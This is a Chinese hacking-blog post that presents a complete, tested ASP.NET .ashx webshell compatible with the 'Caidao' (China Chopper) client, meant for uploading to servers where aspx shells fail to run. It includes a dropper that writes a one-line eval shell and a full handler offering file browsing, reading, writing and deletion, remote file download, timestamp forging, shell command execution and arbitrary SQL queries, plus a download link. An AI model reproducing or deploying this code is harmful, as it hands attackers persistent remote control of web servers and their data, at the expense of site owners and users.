菜刀Customize类型服务端ashx版

  • A+
所属分类:moonsec_com
摘要

作者:RedFree 前些天在社区中看到求ashx webshell的贴子,大至情况是这样的:可以上传任意文件,上传 asp/aspx后缀的webshell却无法解析(详情我不太清楚),但上传 ashx类型的webshell可能可以成功解析。但是悲剧的是一时找不到可用的代码。。。
    通常情况下使用最多的某ashx马代码如下(生成一句话):

作者:RedFree

前些天在社区中看到求ashx webshell的贴子,大至情况是这样的:可以上传任意文件,上传asp/aspx后缀的webshell却无法解析(详情我不太清楚),但上传ashx类型的webshell可能可以成功解析。但是悲剧的是一时找不到可用的代码。。。
    通常情况下使用最多的某ashx马代码如下(生成一句话):

%@ WebHandler Language="C#"Class="Handler" %>  using System; using System.Web; using System.IO; public class Handler : IHttpHandler { public void ProcessRequest (HttpContext context) { context.Response.ContentType = "text/plain";  StreamWriter file1= File.CreateText(context.Server.MapPath("images.aspx")); file1.Write("<%@/x20Page/x20Language=/"Jscript/"%><%Response.Write(eval(Request.Item[/"z/"],/"unsafe/"));%>"); file1.Flush(); file1.Close(); } public bool IsReusable { get { return false; } } }

注意:生成内容中一些特殊的字符要转义哦!
    然而这仅仅是写文件,如何实现一只Webshell应具有的完整的功能呢?(上传、下载、命令执行、数据库操作等)
    仅仅通过上面的代码,没有得到多少有帮助的信息。去搜索了下,然后获得了一些启示:引用百度百科
1、可以获取参数
一般处理程序(HttpHandler)是·NET众多web组件的一种,ashx是其扩展名。一个httpHandler接受并处 理一个http请求,类比于Java中的servlet。类比于在Java中需要继承HttpServlet类。在net中需要实现 IHttpHandler接口,这个接口有一个IsReusable成员,一个待实现的方法 ProcessRequest(HttpContextctx) 。程序在processRequest方法中处理接受到的Http请求。成员IsReusable指定此IhttpHandler的实例是否可以被用来处 理多个请求。

2、可以返回内容
本地测试test.ashx,代码如下:

<%@ WebHandler Language="C#" Class="Handler" %>  using System; using System.Web;  public class Handler : IHttpHandler{     public void ProcessRequest(HttpContext context)     {         context.Response.Write("Test!");//浏览器访问这个ashx文件打印Test!     }      public bool IsReusable     {         get         {             return false;         }     } }

以上两点已以满足了Web请求处理最基本的构成要素。

菜刀Customize类型服务端ashx版

进一步的改进代码,和菜刀的请求数据包对接:

<%@ WebHandler Language="C#" Class="Handler" %>  using System; using System.Web; using System.IO; using System.Net; using System.Text; using System.Data; using System.Data.SqlClient; using System.Diagnostics;  public class Handler : IHttpHandler{     public void ProcessRequest(HttpContext context)     {         String Z = context.Request.Form["z"];//设置密码         String R = "";         if (Z != "")         {                       String[] c = Directory.GetLogicalDrives();          R = String.Format("{0}/t", context.Server.MapPath("/"));          for (int i = 0; i < c.Length; i++)              R += c[i][0] + ":";          }         context.Response.Write(R);     }      public bool IsReusable     {         get         {             return false;         }      } }

菜刀Customize类型服务端ashx版

经过一系列排错、代码改写,适应ashx语法规范,最终得到支持菜刀的ashx源码:

<%@ WebHandler Language="C#" Class="Handler" %>  using System; using System.Web; using System.IO; using System.Net; using System.Text; using System.Data; using System.Data.SqlClient; using System.Diagnostics;  public class Handler : IHttpHandler {     public void ProcessRequest(HttpContext context)     {         String Z = context.Request.Form["z"];//设置密码z         if (Z != "")         {             String Z1 = context.Request.Form["Z1"];             String Z2 = context.Request.Form["Z2"];             String R = "";             try             {                 switch (Z)                 {                     case "A":                         {                             String[] c = Directory.GetLogicalDrives();                             R = String.Format("{0}/t", context.Server.MapPath("/"));                             for (int i = 0; i < c.Length; i++)                                 R += c[i][0] + ":";                             break;                         }                     case "B":                         {                             DirectoryInfo m = new DirectoryInfo(Z1);                             foreach (DirectoryInfo D in m.GetDirectories())                             {                                 R += String.Format("{0}//t{1}/t0/t-/n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"));                             }                             foreach (FileInfo D in m.GetFiles())                             {                                 R += String.Format("{0}/t{1}/t{2}/t-/n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"), D.Length);                             }                             break;                         }                     case "C":                         {                             StreamReader m = new StreamReader(Z1, Encoding.Default);                             R = m.ReadToEnd();                             m.Close();                             break;                         }                     case "D":                         {                             StreamWriter m = new StreamWriter(Z1, false, Encoding.Default);                             m.Write(Z2);                             R = "1";                             m.Close();                             break;                         }                     case "E":                         {                             if (Directory.Exists(Z1))                             {                                 Directory.Delete(Z1, true);                             }                             else                             {                                 File.Delete(Z1);                             }                             R = "1";                             break;                         }                     case "F":                         {                             context.Response.Clear();                             context.Response.Write("/x2D/x3E/x7C");                             context.Response.WriteFile(Z1);                             context.Response.Write("/x7C/x3C/x2D");                             goto End;                         }                     case "G":                         {                             byte[] B = new byte[Z2.Length / 2];                             for (int i = 0; i < Z2.Length; i += 2)                             {                                 B[i / 2] = (byte)Convert.ToInt32(Z2.Substring(i, 2), 16);                             }                             FileStream fs = new FileStream(Z1, FileMode.Create);                             fs.Write(B, 0, B.Length);                             fs.Close();                             R = "1";                             break;                         }                     case "H":                         {                             CP(Z1, Z2, context);                             R = "1";                             break;                         }                     case "I":                         {                             if (Directory.Exists(Z1))                             {                                 Directory.Move(Z1, Z2);                             }                             else                             {                                 File.Move(Z1, Z2);                             }                             break;                         }                     case "J":                         {                             Directory.CreateDirectory(Z1);                             R = "1";                             break;                         }                     case "K":                         {                             DateTime TM = Convert.ToDateTime(Z2);                             if (Directory.Exists(Z1))                             {                                 Directory.SetCreationTime(Z1, TM);                                 Directory.SetLastWriteTime(Z1, TM);                                 Directory.SetLastAccessTime(Z1, TM);                             }                             else                             {                                 File.SetCreationTime(Z1, TM);                                 File.SetLastWriteTime(Z1, TM);                                 File.SetLastAccessTime(Z1, TM);                             }                             R = "1";                             break;                         }                     case "L":                         {                             HttpWebRequest RQ = (HttpWebRequest)WebRequest.Create(new Uri(Z1));                             RQ.Method = "GET";                             RQ.ContentType = "application/x-www-form-urlencoded";                             HttpWebResponse WB = (HttpWebResponse)RQ.GetResponse();                             Stream WF = WB.GetResponseStream();                             FileStream FS = new FileStream(Z2, FileMode.Create, FileAccess.Write);                             int i;                             byte[] buffer = new byte[1024];                             while (true)                             {                                 i = WF.Read(buffer, 0, buffer.Length);                                 if (i < 1)                                 {                                     break;                                 }                                 FS.Write(buffer, 0, i);                             }                             WF.Close();                             WB.Close();                             FS.Close();                             R = "1";                             break;                         }                     case "M":                         {                             ProcessStartInfo c = new ProcessStartInfo(Z1.Substring(2));                             Process e = new Process();                             StreamReader OT, ER;                             c.UseShellExecute = false;                             c.RedirectStandardOutput = true;                             c.RedirectStandardError = true;                             e.StartInfo = c;                             c.Arguments = String.Format("{0} {1}", Z1.Substring(0, 2), Z2);                             e.Start();                             OT = e.StandardOutput;                             ER = e.StandardError;                             e.Close();                             R = OT.ReadToEnd() + ER.ReadToEnd();                             break;                         }                     case "N":                         {                             String strDat = Z1.ToUpper();                             SqlConnection Conn = new SqlConnection(Z1);                             Conn.Open();                             R = Conn.Database + "/t";                             Conn.Close();                             break;                         }                     case "O":                         {                             String[] x = Z1.Replace("/r", "").Split('/n');                             String strConn = x[0], strDb = x[1];                             SqlConnection Conn = new SqlConnection(strConn);                             Conn.Open();                             DataTable dt = Conn.GetSchema("Columns");                             Conn.Close();                             for (int i = 0; i < dt.Rows.Count; i++)                             {                                 R += String.Format("{0}/t", dt.Rows[i][2].ToString());                             }                             break;                         }                     case "P":                         {                             String[] x = Z1.Replace("/r", "").Split('/n'), p = new String[4];                             String strConn = x[0], strDb = x[1], strTable = x[2];                             p[0] = strDb;                             p[2] = strTable;                             SqlConnection Conn = new SqlConnection(strConn);                             Conn.Open();                             DataTable dt = Conn.GetSchema("Columns", p);                             Conn.Close();                             for (int i = 0; i < dt.Rows.Count; i++)                             {                                 R += String.Format("{0} ({1})/t", dt.Rows[i][3].ToString(), dt.Rows[i][7].ToString());                             }                             break;                         }                     case "Q":                         {                             String[] x = Z1.Replace("/r", "").Split('/n');                             String strDat, strConn = x[0], strDb = x[1];                             int i, c;                             strDat = Z2.ToUpper();                             SqlConnection Conn = new SqlConnection(strConn);                             Conn.Open();                             if (strDat.IndexOf("SELECT ") == 0 || strDat.IndexOf("EXEC ") == 0 || strDat.IndexOf("DECLARE ") == 0)                             {                                 SqlDataAdapter OD = new SqlDataAdapter(Z2, Conn);                                 DataSet ds = new DataSet();                                 OD.Fill(ds);                                 if (ds.Tables.Count > 0)                                 {                                     DataRowCollection rows = ds.Tables[0].Rows;                                     for (c = 0; c < ds.Tables[0].Columns.Count; c++)                                     {                                         R += String.Format("{0}/t|/t", ds.Tables[0].Columns[c].ColumnName.ToString());                                     }                                     R += "/r/n";                                     for (i = 0; i < rows.Count; i++)                                     {                                         for (c = 0; c < ds.Tables[0].Columns.Count; c++)                                         {                                             R += String.Format("{0}/t|/t", rows[i][c].ToString());                                         }                                         R += "/r/n";                                     }                                 }                                 ds.Clear();                                 ds.Dispose();                             }                             else                             {                                 SqlCommand cm = Conn.CreateCommand();                                 cm.CommandText = Z2;                                 cm.ExecuteNonQuery();                                 R = "Result/t|/t/r/nExecute Successfully!/t|/t/r/n";                             }                             Conn.Close();                             break;                         }                     default: goto End;                 }             }             catch(Exception E)           {             R="ERROR:// "+E.Message;           }           context.Response.Write("/x2D/x3E/x7C"+R+"/x7C/x3C/x2D");           End:;         }     }           public bool IsReusable     {         get         {             return false;         }      }      public void CP(String S,String D,HttpContext context)     {       if(Directory.Exists(S))         {           DirectoryInfo m=new DirectoryInfo(S);           Directory.CreateDirectory(D);           foreach(FileInfo F in m.GetFiles())           {             File.Copy(S+"//"+F.Name,D+"//"+F.Name);           }           foreach(DirectoryInfo F in m.GetDirectories())           {                     CP(S + "//" + F.Name, D + "//" + F.Name, context);           }         }       else       {         File.Copy(S,D);       }     } }

菜刀Customize类型服务端ashx版

菜刀Customize类型服务端ashx版

菜刀Customize类型服务端ashx版

除数据库操作(没有搭建测试环境)以外,其它功能均已测试,完全正常。Customize.ashx,你值得拥有!
你可以复制上面的代码,也可以选择百度云盘下载:链接: http://pan.baidu.com/s/1sj4wPtj 密码: 4jta

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: